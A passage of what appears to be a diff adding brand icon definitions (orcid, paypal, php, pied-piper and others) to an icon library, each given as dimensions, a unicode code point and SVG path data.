2.4-52.7 11.3-76.2 23.2-32.8 17-44 29.9-56.7 42.4 14.9-2.2 28.9-5.1 43.8-3.8-9.7 5.4-18.4 12.2-26.5 20-25.8.9-23.8-5.3-26.2-25.9-1.1-10.5-14.3-15.4-22.7-9.7-28.1 19.9-33.5 79.9-12.2 103.5 10.8 12.2 35.1 17.3 54.9 17.8-.3 1.1-.3 1.9-.3 2.7 10.8.5 19.5 2.7 24.6 11.6 3 1.1 5.7 2.7 8.1 4.6-5.4.5-11.1 1.4-16.5 1.9-3.3-6.6-13.7-8.1-21.1-8.1-1.6-5.7-6.5-12.2-14.1-10.3-6.8 1.9-14.1 10-14.9 15.9-22.5 9.5-30.1 26.8-25.1 47.6 5.3 24.8 33 36.2 45.9 36.2v19.7c-6.6-5-14.3-7.5-26.8-5.7-5.5-5.5-17.3-10.1-17.3 5.7-5.9 2.7-11.4 5.9-15.9 9.2-9.8-4.9-13.6-1.7-11.1 9.2-4.1 4.3-7.8 8.6-11.1 13.8-10.2-3.7-11 2.2-5.4 11.6-1.1 3.5-1.6 7-1.9 10.8-.5 31.6 44.6 64 73.5 65.1 17.3.5 34.6-8.4 43-23.5 113.2 4.9 226.7 4.1 340.2 0 8.1 15.1 25.4 24.3 42.7 23.5 29.2-1.1 74.3-33.5 73.5-65.1.2-3.7-.7-7.2-1.7-10.7zm-73.8-254c1.1-3 2.4-8.4 2.4-14.6 0-5.9 6.8-8.1 14.1-.8 11.1 11.6 14.9 40.5 13.8 51.1-4.1-13.6-13-29-30.3-35.7zm-4.6 6.7c19.5 6.2 28.6 27.6 29.7 48.9-1.1 2.7-3 5.4-4.9 7.6-5.7 5.9-15.4 10-26.2 12.2 4.3-21.3.3-47.3-12.7-63 4.9-.8 10.9-2.4 14.1-5.7zm-24.1 6.8c13.8 11.9 20 39.2 14.1 63.5-4.1.5-8.1.8-11.6.8-1.9-21.9-6.8-44-14.3-64.6 3.7.3 8.1.3 11.8.3zM47.5 203c-1.1-10.5 2.4-39.5 13.8-51.1 7-7.3 14.1-5.1 14.1.8 0 6.2 1.4 11.6 2.4 14.6-17.3 6.8-26.2 22.2-30.3 35.7zm9.7 27.6c-1.9-2.2-3.5-4.9-4.9-7.6 1.4-21.3 10.3-42.7 29.7-48.9 3.2 3.2 9.2 4.9 14.1 5.7-13 15.7-17 41.6-12.7 63-10.8-2.2-20.5-6-26.2-12.2zm47.9 14.6c-4.1 0-8.1-.3-12.7-.8-4.6-18.6-1.9-38.9 5.4-53v.3l12.2-5.1c4.9-1.9 9.7-3.8 14.9-4.9-10.7 19.7-17.4 41.3-19.8 63.5zm184-162.7c41.9 0 76.2 34 76.2 75.9 0 42.2-34.3 76.2-76.2 76.2s-76.2-34-76.2-76.2c0-41.8 34.3-75.9 76.2-75.9zm115.6 174.3c-.3 17.8-7 48.9-23 57-13.2 6.6-6.5-7.5-16.5-58.1 13.3.3 26.6.3 39.5 1.1zm-54-1.6c.8 4.9 3.8 40.3-1.6 41.9-11.6 3.5-40 4.3-51.1-1.1-4.1-3-4.6-35.9-4.3-41.1v.3c18.9-.3 38.1-.3 57 0zM278.3 309c-13 3.5-41.6 4.1-54.6-1.6-6.5-2.7-3.8-42.4-1.9-51.6 19.2-.5 38.4-.5 57.8-.8v.3c1.1 8.3 3.3 51.2-1.3 53.7zm-106.5-51.1c12.2-.8 24.6-1.4 36.8-1.6-2.4 15.4-3 43.5-4.9 52.2-1.1 6.8-4.3 6.8-9.7 4.3-21.9-9.8-27.6-35.2-22.2-54.9zm-35.4 31.3c7.8-1.1 15.7-1.9 23.5-2.7 1.6 6.2 3.8 11.9 7 17.6 10 17 44 35.7 45.1 7 6.2 14.9 40.8 12.2 54.9 10.8 15.7-1.4 23.8-1.4 26.8-14.3 12.4 4.3 30.8 4.1 44 3 11.3-.8 20.8-.5 24.6-8.9 1.1 5.1 1.9 11.6 4.6 16.8 10.8 21.3 37.3 1.4 46.8-31.6 8.6.8 17.6 1.9 26.5 2.7-.4 1.3-3.8 7.3 7.3 11.6-47.6 47-95.7 87.8-163.2 107-63.2-20.8-112.1-59.5-155.9-106.5 9.6-3.4 10.4-8.8 8-12.5zm-21.6 172.5c-3.8 17.8-21.9 29.7-39.7 28.9-19.2-.8-46.5-17-59.2-36.5-2.7-31.1 43.8-61.3 66.2-54.6 14.9 4.3 27.8 30.8 33.5 54 0 3-.3 5.7-.8 8.2zm-8.7-66c-.5-13.5-.5-27-.3-40.5h.3c2.7-1.6 5.7-3.8 7.8-6.5 6.5-1.6 13-5.1 15.1-9.2 3.3-7.1-7-7.5-5.4-12.4 2.7-1.1 5.7-2.2 7.8-3.5 29.2 29.2 58.6 56.5 97.3 77-36.8 11.3-72.4 27.6-105.9 47-1.2-18.6-7.7-35.9-16.7-51.9zm337.6 64.6c-103 3.5-206.2 4.1-309.4 0 0 .3 0 .3-.3.3v-.3h.3c35.1-21.6 72.2-39.2 112.4-50.8 11.6 5.1 23 9.5 34.9 13.2 2.2.8 2.2.8 4.3 0 14.3-4.1 28.4-9.2 42.2-15.4 41.5 11.7 78.8 31.7 115.6 53zm10.5-12.4c-35.9-19.5-73-35.9-111.9-47.6 38.1-20 71.9-47.3 103.5-76.7 2.2 1.4 4.6 2.4 7.6 3.2 0 .8.3 1.9.5 2.4-4.6 2.7-7.8 6.2-5.9 10.3 2.2 3.8 8.6 7.6 15.1 8.9 2.4 2.7 5.1 5.1 8.1 6.8 0 13.8-.3 27.6-.8 41.3l.3-.3c-9.3 15.9-15.5 37-16.5 51.7zm105.9 6.2c-12.7 19.5-40 35.7-59.2 36.5-19.3.9-40.5-13.2-40.5-37 5.7-23.2 18.9-49.7 33.5-54 22.7-6.9 69.2 23.4 66.2 54.5zM372.9 75.2c-3.8-72.1-100.8-79.7-126-23.5 44.6-24.3 90.3-15.7 126 23.5zM74.8 407.1c-15.7 1.6-49.5 25.4-49.5 43.2 0 11.6 15.7 19.5 32.2 14.9 12.2-3.2 31.1-17.6 35.9-27.3 6-11.6-3.7-32.7-18.6-30.8zm215.9-176.2c28.6 0 51.9-21.6 51.9-48.4 0-36.1-40.5-58.1-72.2-44.3 9.5 3 16.5 11.6 16.5 21.6 0 23.3-33.3 32-46.5 11.3-7.3 34.1 19.4 59.8 50.3 59.8zM68 474.1c.5 6.5 12.2 12.7 21.6 9.5 6.8-2.7 14.6-10.5 17.3-16.2 3-7-1.1-20-9.7-18.4-8.9 1.6-29.7 16.7-29.2 25.1zm433.2-67c-14.9-1.9-24.6 19.2-18.9 30.8 4.9 9.7 24.1 24.1 36.2 27.3 16.5 4.6 32.2-3.2 32.2-14.9 0-17.8-33.8-41.6-49.5-43.2zM478.8 449c-8.4-1.6-12.4 11.3-9.5 18.4 2.4 5.7 10.3 13.5 17.3 16.2 9.2 3.2 21.1-3 21.3-9.5.9-8.4-20.2-23.5-29.1-25.1z"], + "orcid": [512, 512, [], "f8d2", "M294.75 188.19h-45.92V342h47.47c67.62 0 83.12-51.34 83.12-76.91 0-41.64-26.54-76.9-84.67-76.9zM256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm-80.79 360.76h-29.84v-207.5h29.84zm-14.92-231.14a19.57 19.57 0 1 1 19.57-19.57 19.64 19.64 0 0 1-19.57 19.57zM300 369h-81V161.26h80.6c76.73 0 110.44 54.83 110.44 103.85C410 318.39 368.38 369 300 369z"], + "osi": [512, 512, [], "f41a", "M8 266.44C10.3 130.64 105.4 34 221.8 18.34c138.8-18.6 255.6 75.8 278 201.1 21.3 118.8-44 230-151.6 274-9.3 3.8-14.4 1.7-18-7.7q-26.7-69.45-53.4-139c-3.1-8.1-1-13.2 7-16.8 24.2-11 39.3-29.4 43.3-55.8a71.47 71.47 0 0 0-64.5-82.2c-39-3.4-71.8 23.7-77.5 59.7-5.2 33 11.1 63.7 41.9 77.7 9.6 4.4 11.5 8.6 7.8 18.4q-26.85 69.9-53.7 139.9c-2.6 6.9-8.3 9.3-15.5 6.5-52.6-20.3-101.4-61-130.8-119-24.9-49.2-25.2-87.7-26.8-108.7zm20.9-1.9c.4 6.6.6 14.3 1.3 22.1 6.3 71.9 49.6 143.5 131 183.1 3.2 1.5 4.4.8 5.6-2.3q22.35-58.65 45-117.3c1.3-3.3.6-4.8-2.4-6.7-31.6-19.9-47.3-48.5-45.6-86 1-21.6 9.3-40.5 23.8-56.3 30-32.7 77-39.8 115.5-17.6a91.64 91.64 0 0 1 45.2 90.4c-3.6 30.6-19.3 53.9-45.7 69.8-2.7 1.6-3.5 2.9-2.3 6q22.8 58.8 45.2 117.7c1.2 3.1 2.4 3.8 5.6 2.3 35.5-16.6 65.2-40.3 88.1-72 34.8-48.2 49.1-101.9 42.3-161-13.7-117.5-119.4-214.8-255.5-198-106.1 13-195.3 102.5-197.1 225.8z"], + "page4": [496, 512, [], "f3d7", "M248 504C111 504 0 393 0 256S111 8 248 8c20.9 0 41.3 2.6 60.7 7.5L42.3 392H248v112zm0-143.6V146.8L98.6 360.4H248zm96 31.6v92.7c45.7-19.2 84.5-51.7 111.4-92.7H344zm57.4-138.2l-21.2 8.4 21.2 8.3v-16.7zm-20.3 54.5c-6.7 0-8 6.3-8 12.9v7.7h16.2v-10c0-5.9-2.3-10.6-8.2-10.6zM496 256c0 37.3-8.2 72.7-23 104.4H344V27.3C433.3 64.8 496 153.1 496 256zM360.4 143.6h68.2V96h-13.9v32.6h-13.9V99h-13.9v29.6h-12.7V96h-13.9v47.6zm68.1 185.3H402v-11c0-15.4-5.6-25.2-20.9-25.2-15.4 0-20.7 10.6-20.7 25.9v25.3h68.2v-15zm0-103l-68.2 29.7V268l68.2 29.5v-16.6l-14.4-5.7v-26.5l14.4-5.9v-16.9zm-4.8-68.5h-35.6V184H402v-12.2h11c8.6 15.8 1.3 35.3-18.6 35.3-22.5 0-28.3-25.3-15.5-37.7l-11.6-10.6c-16.2 17.5-12.2 63.9 27.1 63.9 34 0 44.7-35.9 29.3-65.3z"], + "pagelines": [384, 512, [], "f18c", "M384 312.7c-55.1 136.7-187.1 54-187.1 54-40.5 81.8-107.4 134.4-184.6 134.7-16.1 0-16.6-24.4 0-24.4 64.4-.3 120.5-42.7 157.2-110.1-41.1 15.9-118.6 27.9-161.6-82.2 109-44.9 159.1 11.2 178.3 45.5 9.9-24.4 17-50.9 21.6-79.7 0 0-139.7 21.9-149.5-98.1 119.1-47.9 152.6 76.7 152.6 76.7 1.6-16.7 3.3-52.6 3.3-53.4 0 0-106.3-73.7-38.1-165.2 124.6 43 61.4 162.4 61.4 162.4.5 1.6.5 23.8 0 33.4 0 0 45.2-89 136.4-57.5-4.2 134-141.9 106.4-141.9 106.4-4.4 27.4-11.2 53.4-20 77.5 0 0 83-91.8 172-20z"], + "palfed": [576, 512, [], "f3d8", "M384.9 193.9c0-47.4-55.2-44.2-95.4-29.8-1.3 39.4-2.5 80.7-3 119.8.7 2.8 2.6 6.2 15.1 6.2 36.8 0 83.4-42.8 83.3-96.2zm-194.5 72.2c.2 0 6.5-2.7 11.2-2.7 26.6 0 20.7 44.1-14.4 44.1-21.5 0-37.1-18.1-37.1-43 0-42 42.9-95.6 100.7-126.5 1-12.4 3-22 10.5-28.2 11.2-9 26.6-3.5 29.5 11.1 72.2-22.2 135.2 1 135.2 72 0 77.9-79.3 152.6-140.1 138.2-.1 39.4.9 74.4 2.7 100v.2c.2 3.4.6 12.5-5.3 19.1-9.6 10.6-33.4 10-36.4-22.3-4.1-44.4.2-206.1 1.4-242.5-21.5 15-58.5 50.3-58.5 75.9.2 2.5.4 4 .6 4.6zM8 181.1s-.1 37.4 38.4 37.4h30l22.4 217.2s0 44.3 44.7 44.3h288.9s44.7-.4 44.7-44.3l22.4-217.2h30s38.4 1.2 38.4-37.4c0 0 .1-37.4-38.4-37.4h-30.1c-7.3-25.6-30.2-74.3-119.4-74.3h-28V50.3s-2.7-18.4-21.1-18.4h-85.8s-21.1 0-21.1 18.4v19.1h-28.1s-105 4.2-120.5 74.3h-29S8 142.5 8 181.1z"], + "patreon": [512, 512, [], "f3d9", "M512 194.8c0 101.3-82.4 183.8-183.8 183.8-101.7 0-184.4-82.4-184.4-183.8 0-101.6 82.7-184.3 184.4-184.3C429.6 10.5 512 93.2 512 194.8zM0 501.5h90v-491H0v491z"], + "paypal": [384, 512, [], "f1ed", "M111.4 295.9c-3.5 19.2-17.4 108.7-21.5 134-.3 1.8-1 2.5-3 2.5H12.3c-7.6 0-13.1-6.6-12.1-13.9L58.8 46.6c1.5-9.6 10.1-16.9 20-16.9 152.3 0 165.1-3.7 204 11.4 60.1 23.3 65.6 79.5 44 140.3-21.5 62.6-72.5 89.5-140.1 90.3-43.4.7-69.5-7-75.3 24.2zM357.1 152c-1.8-1.3-2.5-1.8-3 1.3-2 11.4-5.1 22.5-8.8 33.6-39.9 113.8-150.5 103.9-204.5 103.9-6.1 0-10.1 3.3-10.9 9.4-22.6 140.4-27.1 169.7-27.1 169.7-1 7.1 3.5 12.9 10.6 12.9h63.5c8.6 0 15.7-6.3 17.4-14.9.7-5.4-1.1 6.1 14.4-91.3 4.6-22 14.3-19.7 29.3-19.7 71 0 126.4-28.8 142.9-112.3 6.5-34.8 4.6-71.4-23.8-92.6z"], + "penny-arcade": [640, 512, [], "f704", "M421.91 164.27c-4.49 19.45-1.4 6.06-15.1 65.29l39.73-10.61c-22.34-49.61-17.29-38.41-24.63-54.68zm-206.09 51.11c-20.19 5.4-11.31 3.03-39.63 10.58l4.46 46.19c28.17-7.59 20.62-5.57 34.82-9.34 42.3-9.79 32.85-56.42.35-47.43zm326.16-26.19l-45.47-99.2c-5.69-12.37-19.46-18.84-32.62-15.33-70.27 18.75-38.72 10.32-135.59 36.23a27.618 27.618 0 0 0-18.89 17.41C144.26 113.27 0 153.75 0 226.67c0 33.5 30.67 67.11 80.9 95.37l1.74 17.88a27.891 27.891 0 0 0-17.77 28.67l4.3 44.48c1.39 14.31 13.43 25.21 27.8 25.2 5.18-.01-3.01 1.78 122.53-31.76 12.57-3.37 21.12-15.02 20.58-28.02 216.59 45.5 401.99-5.98 399.89-84.83.01-28.15-22.19-66.56-97.99-104.47zM255.14 298.3l-21.91 5.88-48.44 12.91 2.46 23.55 20.53-5.51 4.51 44.51-115.31 30.78-4.3-44.52 20.02-5.35-11.11-114.64-20.12 5.39-4.35-44.5c178.15-47.54 170.18-46.42 186.22-46.65 56.66-1.13 64.15 71.84 42.55 104.43a86.7 86.7 0 0 1-50.75 33.72zm199.18 16.62l-3.89-39.49 14.9-3.98-6.61-14.68-57.76 15.42-4.1 17.54 19.2-5.12 4.05 39.54-112.85 30.07-4.46-44.43 20.99-5.59 33.08-126.47-17.15 4.56-4.2-44.48c93.36-24.99 65.01-17.41 135.59-36.24l66.67 145.47 20.79-5.56 4.3 44.48-108.55 28.96z"], + "perbyte": [448, 512, [], "e083", "M305.314,284.578H246.6V383.3h58.711q24.423,0,38.193-13.77t13.77-36.11q0-21.826-14.032-35.335T305.314,284.578ZM149.435,128.7H90.724v98.723h58.711q24.42,0,38.19-13.773t13.77-36.107q0-21.826-14.029-35.338T149.435,128.7ZM366.647,32H81.353A81.445,81.445,0,0,0,0,113.352V398.647A81.445,81.445,0,0,0,81.353,480H366.647A81.445,81.445,0,0,0,448,398.647V113.352A81.445,81.445,0,0,0,366.647,32Zm63.635,366.647a63.706,63.706,0,0,1-63.635,63.635H81.353a63.706,63.706,0,0,1-63.635-63.635V113.352A63.706,63.706,0,0,1,81.353,49.718H366.647a63.706,63.706,0,0,1,63.635,63.634ZM305.314,128.7H246.6v98.723h58.711q24.423,0,38.193-13.773t13.77-36.107q0-21.826-14.032-35.338T305.314,128.7Z"], + "periscope": [448, 512, [], "f3da", "M370 63.6C331.4 22.6 280.5 0 226.6 0 111.9 0 18.5 96.2 18.5 214.4c0 75.1 57.8 159.8 82.7 192.7C137.8 455.5 192.6 512 226.6 512c41.6 0 112.9-94.2 120.9-105 24.6-33.1 82-118.3 82-192.6 0-56.5-21.1-110.1-59.5-150.8zM226.6 493.9c-42.5 0-190-167.3-190-279.4 0-107.4 83.9-196.3 190-196.3 100.8 0 184.7 89 184.7 196.3.1 112.1-147.4 279.4-184.7 279.4zM338 206.8c0 59.1-51.1 109.7-110.8 109.7-100.6 0-150.7-108.2-92.9-181.8v.4c0 24.5 20.1 44.4 44.8 44.4 24.7 0 44.8-19.9 44.8-44.4 0-18.2-11.1-33.8-26.9-40.7 76.6-19.2 141 39.3 141 112.4z"], + "phabricator": [496, 512, [], "f3db", "M323 262.1l-.1-13s21.7-19.8 21.1-21.2l-9.5-20c-.6-1.4-29.5-.5-29.5-.5l-9.4-9.3s.2-28.5-1.2-29.1l-20.1-9.2c-1.4-.6-20.7 21-20.7 21l-13.1-.2s-20.5-21.4-21.9-20.8l-20 8.3c-1.4.5.2 28.9.2 28.9l-9.1 9.1s-29.2-.9-29.7.4l-8.1 19.8c-.6 1.4 21 21 21 21l.1 12.9s-21.7 19.8-21.1 21.2l9.5 20c.6 1.4 29.5.5 29.5.5l9.4 9.3s-.2 31.8 1.2 32.3l20.1 8.3c1.4.6 20.7-23.5 20.7-23.5l13.1.2s20.5 23.8 21.8 23.3l20-7.5c1.4-.6-.2-32.1-.2-32.1l9.1-9.1s29.2.9 29.7-.5l8.1-19.8c.7-1.1-20.9-20.7-20.9-20.7zm-44.9-8.7c.7 17.1-12.8 31.6-30.1 32.4-17.3.8-32.1-12.5-32.8-29.6-.7-17.1 12.8-31.6 30.1-32.3 17.3-.8 32.1 12.5 32.8 29.5zm201.2-37.9l-97-97-.1.1c-75.1-73.3-195.4-72.8-269.8 1.6-50.9 51-27.8 27.9-95.7 95.3-22.3 22.3-22.3 58.7 0 81 69.9 69.4 46.4 46 97.4 97l.1-.1c75.1 73.3 195.4 72.9 269.8-1.6 51-50.9 27.9-27.9 95.3-95.3 22.3-22.3 22.3-58.7 0-81zM140.4 363.8c-59.6-59.5-59.6-156 0-215.5 59.5-59.6 156-59.5 215.6 0 59.5 59.5 59.6 156 0 215.6-59.6 59.5-156 59.4-215.6-.1z"], + "phoenix-framework": [640, 512, [], "f3dc", "M212.9 344.3c3.8-.1 22.8-1.4 25.6-2.2-2.4-2.6-43.6-1-68-49.6-4.3-8.6-7.5-17.6-6.4-27.6 2.9-25.5 32.9-30 52-18.5 36 21.6 63.3 91.3 113.7 97.5 37 4.5 84.6-17 108.2-45.4-.6-.1-.8-.2-1-.1-.4.1-.8.2-1.1.3-33.3 12.1-94.3 9.7-134.7-14.8-37.6-22.8-53.1-58.7-51.8-74.6 1.8-21.3 22.9-23.2 35.9-19.6 14.4 3.9 24.4 17.6 38.9 27.4 15.6 10.4 32.9 13.7 51.3 10.3 14.9-2.7 34.4-12.3 36.5-14.5-1.1-.1-1.8-.1-2.5-.2-6.2-.6-12.4-.8-18.5-1.7C279.8 194.5 262.1 47.4 138.5 37.9 94.2 34.5 39.1 46 2.2 72.9c-.8.6-1.5 1.2-2.2 1.8.1.2.1.3.2.5.8 0 1.6-.1 2.4-.2 6.3-1 12.5-.8 18.7.3 23.8 4.3 47.7 23.1 55.9 76.5 5.3 34.3-.7 50.8 8 86.1 19 77.1 91 107.6 127.7 106.4zM75.3 64.9c-.9-1-.9-1.2-1.3-2 12.1-2.6 24.2-4.1 36.6-4.8-1.1 14.7-22.2 21.3-35.3 6.8zm196.9 350.5c-42.8 1.2-92-26.7-123.5-61.4-4.6-5-16.8-20.2-18.6-23.4l.4-.4c6.6 4.1 25.7 18.6 54.8 27 24.2 7 48.1 6.3 71.6-3.3 22.7-9.3 41-.5 43.1 2.9-18.5 3.8-20.1 4.4-24 7.9-5.1 4.4-4.6 11.7 7 17.2 26.2 12.4 63-2.8 97.2 25.4 2.4 2 8.1 7.8 10.1 10.7-.1.2-.3.3-.4.5-4.8-1.5-16.4-7.5-40.2-9.3-24.7-2-46.3 5.3-77.5 6.2zm174.8-252c16.4-5.2 41.3-13.4 66.5-3.3 16.1 6.5 26.2 18.7 32.1 34.6 3.5 9.4 5.1 19.7 5.1 28.7-.2 0-.4 0-.6.1-.2-.4-.4-.9-.5-1.3-5-22-29.9-43.8-67.6-29.9-50.2 18.6-130.4 9.7-176.9-48-.7-.9-2.4-1.7-1.3-3.2.1-.2 2.1.6 3 1.3 18.1 13.4 38.3 21.9 60.3 26.2 30.5 6.1 54.6 2.9 79.9-5.2zm102.7 117.5c-32.4.2-33.8 50.1-103.6 64.4-18.2 3.7-38.7 4.6-44.9 4.2v-.4c2.8-1.5 14.7-2.6 29.7-16.6 7.9-7.3 15.3-15.1 22.8-22.9 19.5-20.2 41.4-42.2 81.9-39 23.1 1.8 29.3 8.2 36.1 12.7.3.2.4.5.7.9-.5 0-.7.1-.9 0-7-2.7-14.3-3.3-21.8-3.3zm-12.3-24.1c-.1.2-.1.4-.2.6-28.9-4.4-48-7.9-68.5 4-17 9.9-31.4 20.5-62 24.4-27.1 3.4-45.1 2.4-66.1-8-.3-.2-.6-.4-1-.6 0-.2.1-.3.1-.5 24.9 3.8 36.4 5.1 55.5-5.8 22.3-12.9 40.1-26.6 71.3-31 29.6-4.1 51.3 2.5 70.9 16.9zM268.6 97.3c-.6-.6-1.1-1.2-2.1-2.3 7.6 0 29.7-1.2 53.4 8.4 19.7 8 32.2 21 50.2 32.9 11.1 7.3 23.4 9.3 36.4 8.1 4.3-.4 8.5-1.2 12.8-1.7.4-.1.9 0 1.5.3-.6.4-1.2.9-1.8 1.2-8.1 4-16.7 6.3-25.6 7.1-26.1 2.6-50.3-3.7-73.4-15.4-19.3-9.9-36.4-22.9-51.4-38.6zM640 335.7c-3.5 3.1-22.7 11.6-42.7 5.3-12.3-3.9-19.5-14.9-31.6-24.1-10-7.6-20.9-7.9-28.1-8.4.6-.8.9-1.2 1.2-1.4 14.8-9.2 30.5-12.2 47.3-6.5 12.5 4.2 19.2 13.5 30.4 24.2 10.8 10.4 21 9.9 23.1 10.5.1-.1.2 0 .4.4zm-212.5 137c2.2 1.2 1.6 1.5 1.5 2-18.5-1.4-33.9-7.6-46.8-22.2-21.8-24.7-41.7-27.9-48.6-29.7.5-.2.8-.4 1.1-.4 13.1.1 26.1.7 38.9 3.9 25.3 6.4 35 25.4 41.6 35.3 3.2 4.8 7.3 8.3 12.3 11.1z"], + "phoenix-squadron": [512, 512, [], "f511", "M96 63.38C142.49 27.25 201.55 7.31 260.51 8.81c29.58-.38 59.11 5.37 86.91 15.33-24.13-4.63-49-6.34-73.38-2.45C231.17 27 191 48.84 162.21 80.87c5.67-1 10.78-3.67 16-5.86 18.14-7.87 37.49-13.26 57.23-14.83 19.74-2.13 39.64-.43 59.28 1.92-14.42 2.79-29.12 4.57-43 9.59-34.43 11.07-65.27 33.16-86.3 62.63-13.8 19.71-23.63 42.86-24.67 67.13-.35 16.49 5.22 34.81 19.83 44a53.27 53.27 0 0 0 37.52 6.74c15.45-2.46 30.07-8.64 43.6-16.33 11.52-6.82 22.67-14.55 32-24.25 3.79-3.22 2.53-8.45 2.62-12.79-2.12-.34-4.38-1.11-6.3.3a203 203 0 0 1-35.82 15.37c-20 6.17-42.16 8.46-62.1.78 12.79 1.73 26.06.31 37.74-5.44 20.23-9.72 36.81-25.2 54.44-38.77a526.57 526.57 0 0 1 88.9-55.31c25.71-12 52.94-22.78 81.57-24.12-15.63 13.72-32.15 26.52-46.78 41.38-14.51 14-27.46 29.5-40.11 45.18-3.52 4.6-8.95 6.94-13.58 10.16a150.7 150.7 0 0 0-51.89 60.1c-9.33 19.68-14.5 41.85-11.77 63.65 1.94 13.69 8.71 27.59 20.9 34.91 12.9 8 29.05 8.07 43.48 5.1 32.8-7.45 61.43-28.89 81-55.84 20.44-27.52 30.52-62.2 29.16-96.35-.52-7.5-1.57-15-1.66-22.49 8 19.48 14.82 39.71 16.65 60.83 2 14.28.75 28.76-1.62 42.9-1.91 11-5.67 21.51-7.78 32.43a165 165 0 0 0 39.34-81.07 183.64 183.64 0 0 0-14.21-104.64c20.78 32 32.34 69.58 35.71 107.48.49 12.73.49 25.51 0 38.23A243.21 243.21 0 0 1 482 371.34c-26.12 47.34-68 85.63-117.19 108-78.29 36.23-174.68 31.32-248-14.68A248.34 248.34 0 0 1 25.36 366 238.34 238.34 0 0 1 0 273.08v-31.34C3.93 172 40.87 105.82 96 63.38m222 80.33a79.13 79.13 0 0 0 16-4.48c5-1.77 9.24-5.94 10.32-11.22-8.96 4.99-17.98 9.92-26.32 15.7z"], + "php": [640, 512, [], "f457", "M320 104.5c171.4 0 303.2 72.2 303.2 151.5S491.3 407.5 320 407.5c-171.4 0-303.2-72.2-303.2-151.5S148.7 104.5 320 104.5m0-16.8C143.3 87.7 0 163 0 256s143.3 168.3 320 168.3S640 349 640 256 496.7 87.7 320 87.7zM218.2 242.5c-7.9 40.5-35.8 36.3-70.1 36.3l13.7-70.6c38 0 63.8-4.1 56.4 34.3zM97.4 350.3h36.7l8.7-44.8c41.1 0 66.6 3 90.2-19.1 26.1-24 32.9-66.7 14.3-88.1-9.7-11.2-25.3-16.7-46.5-16.7h-70.7L97.4 350.3zm185.7-213.6h36.5l-8.7 44.8c31.5 0 60.7-2.3 74.8 10.7 14.8 13.6 7.7 31-8.3 113.1h-37c15.4-79.4 18.3-86 12.7-92-5.4-5.8-17.7-4.6-47.4-4.6l-18.8 96.6h-36.5l32.7-168.6zM505 242.5c-8 41.1-36.7 36.3-70.1 36.3l13.7-70.6c38.2 0 63.8-4.1 56.4 34.3zM384.2 350.3H421l8.7-44.8c43.2 0 67.1 2.5 90.2-19.1 26.1-24 32.9-66.7 14.3-88.1-9.7-11.2-25.3-16.7-46.5-16.7H417l-32.8 168.7z"], + "pied-piper": [480, 512, [], "f2ae", "M455.93,23.2C429.23,30,387.79,51.69,341.35,90.66A206,206,0,0,0,240,64C125.13,64,32,157.12,32,272s93.13,208,208,208,208-93.13,208-208a207.25,207.25,0,0,0-58.75-144.81,155.35,155.35,0,0,0-17,27.4A176.16,176.16,0,0,1,417.1,272c0,97.66-79.44,177.11-177.09,177.11a175.81,175.81,0,0,1-87.63-23.4c82.94-107.33,150.79-37.77,184.31-226.65,5.79-32.62,28-94.26,126.23-160.18C471,33.45,465.35,20.8,455.93,23.2ZM125,406.4A176.66,176.66,0,0,1,62.9,272C62.9,174.34,142.35,94.9,240,94.9a174,174,0,0,1,76.63,17.75C250.64,174.76,189.77,265.52,125,406.4Z"], + "pied-piper-alt": [576, 512, [], "f1a8", "M244 246c-3.2-2-6.3-2.9-10.1-2.9-6.6 0-12.6 3.2-19.3 3.7l1.7 4.9zm135.9 197.9c-19 0-64.1 9.5-79.9 19.8l6.9 45.1c35.7 6.1 70.1 3.6 106-9.8-4.8-10-23.5-55.1-33-55.1zM340.8 177c6.6 2.8 11.5 9.2 22.7 22.1 2-1.4 7.5-5.2 7.5-8.6 0-4.9-11.8-13.2-13.2-23 11.2-5.7 25.2-6 37.6-8.9 68.1-16.4 116.3-52.9 146.8-116.7C548.3 29.3 554 16.1 554.6 2l-2 2.6c-28.4 50-33 63.2-81.3 100-31.9 24.4-69.2 40.2-106.6 54.6l-6.3-.3v-21.8c-19.6 1.6-19.7-14.6-31.6-23-18.7 20.6-31.6 40.8-58.9 51.1-12.7 4.8-19.6 10-25.9 21.8 34.9-16.4 91.2-13.5 98.8-10zM555.5 0l-.6 1.1-.3.9.6-.6zm-59.2 382.1c-33.9-56.9-75.3-118.4-150-115.5l-.3-6c-1.1-13.5 32.8 3.2 35.1-31l-14.4 7.2c-19.8-45.7-8.6-54.3-65.5-54.3-14.7 0-26.7 1.7-41.4 4.6 2.9 18.6 2.2 36.7-10.9 50.3l19.5 5.5c-1.7 3.2-2.9 6.3-2.9 9.8 0 21 42.8 2.9 42.8 33.6 0 18.4-36.8 60.1-54.9 60.1-8 0-53.7-50-53.4-60.1l.3-4.6 52.3-11.5c13-2.6 12.3-22.7-2.9-22.7-3.7 0-43.1 9.2-49.4 10.6-2-5.2-7.5-14.1-13.8-14.1-3.2 0-6.3 3.2-9.5 4-9.2 2.6-31 2.9-21.5 20.1L15.9 298.5c-5.5 1.1-8.9 6.3-8.9 11.8 0 6 5.5 10.9 11.5 10.9 8 0 131.3-28.4 147.4-32.2 2.6 3.2 4.6 6.3 7.8 8.6 20.1 14.4 59.8 85.9 76.4 85.9 24.1 0 58-22.4 71.3-41.9 3.2-4.3 6.9-7.5 12.4-6.9.6 13.8-31.6 34.2-33 43.7-1.4 10.2-1 35.2-.3 41.1 26.7 8.1 52-3.6 77.9-2.9 4.3-21 10.6-41.9 9.8-63.5l-.3-9.5c-1.4-34.2-10.9-38.5-34.8-58.6-1.1-1.1-2.6-2.6-3.7-4 2.2-1.4 1.1-1 4.6-1.7 88.5 0 56.3 183.6 111.5 229.9 33.1-15 72.5-27.9 103.5-47.2-29-25.6-52.6-45.7-72.7-79.9zm-196.2 46.1v27.2l11.8-3.4-2.9-23.8zm-68.7-150.4l24.1 61.2 21-13.8-31.3-50.9zm84.4 154.9l2 12.4c9-1.5 58.4-6.6 58.4-14.1 0-1.4-.6-3.2-.9-4.6-26.8 0-36.9 3.8-59.5 6.3z"], + "pied-piper-hat": [640, 512, [], "f4e5", "M640 24.9c-80.8 53.6-89.4 92.5-96.4 104.4-6.7 12.2-11.7 60.3-23.3 83.6-11.7 23.6-54.2 42.2-66.1 50-11.7 7.8-28.3 38.1-41.9 64.2-108.1-4.4-167.4 38.8-259.2 93.6 29.4-9.7 43.3-16.7 43.3-16.7 94.2-36 139.3-68.3 281.1-49.2 1.1 0 1.9.6 2.8.8 3.9 2.2 5.3 6.9 3.1 10.8l-53.9 95.8c-2.5 4.7-7.8 7.2-13.1 6.1-126.8-23.8-226.9 17.3-318.9 18.6C24.1 488 0 453.4 